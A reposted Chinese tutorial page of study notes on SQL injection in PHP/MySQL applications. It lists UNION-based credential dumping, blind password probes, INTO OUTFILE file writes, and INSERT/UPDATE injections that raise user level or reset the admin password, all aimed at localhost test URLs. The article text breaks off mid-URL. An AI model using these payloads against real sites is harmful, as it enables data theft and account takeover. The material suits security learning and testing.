快速业务通道

PHP的SQL注入

作者 佚名技术 来源 NET编程 浏览 发布时间 2012-05-22

  今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句,只有灵活的运用SQL

  语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了

  解SQL的基本原理。笔记中的代码来自网络。

  ===基础部分===

  本表查询:

  http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6

  http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

  Union联合语句:

  http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*

  http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

  导出文件:

  http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt

  http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt

  http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

  INSERT语句:

  INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

  构造homepage值为:http://4ngel.net', '3’)#

  SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

  UPDATE语句:我喜欢这样个东西

  先理解这句SQL

  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

  如果此SQL被修改成以下形式,就实现了注入

  1:修改homepage值为

  http://4ngel.net', userlevel='3

  之后SQL语句变为

  UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'

  userlevel为用户级别

  2:修改password值为

  mypass)' WHERE username='admin'#

  之后SQL语句变为

  UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

  3:修改id值为

  ' OR username='admin'

  之后SQL语句变为

  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

  ===高级部分===

  常用的MySQL内置函数

  DATABASE()

  USER()

  SYSTEM_USER()

  SESSION_USER()

  CURRENT_USER()

  database()

  version()

  SUBSTRING()

  MID()

  char()

  load_file()

  ……

  函数应用

  UPDATE article SET title=DATABASE() WHERE id=1

  http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

  SELECT * FROM user WHERE username=char(97,110,103,101,108)

  # char(97,110,103,101,108) 相当于angel,十进制

  http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http:/

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号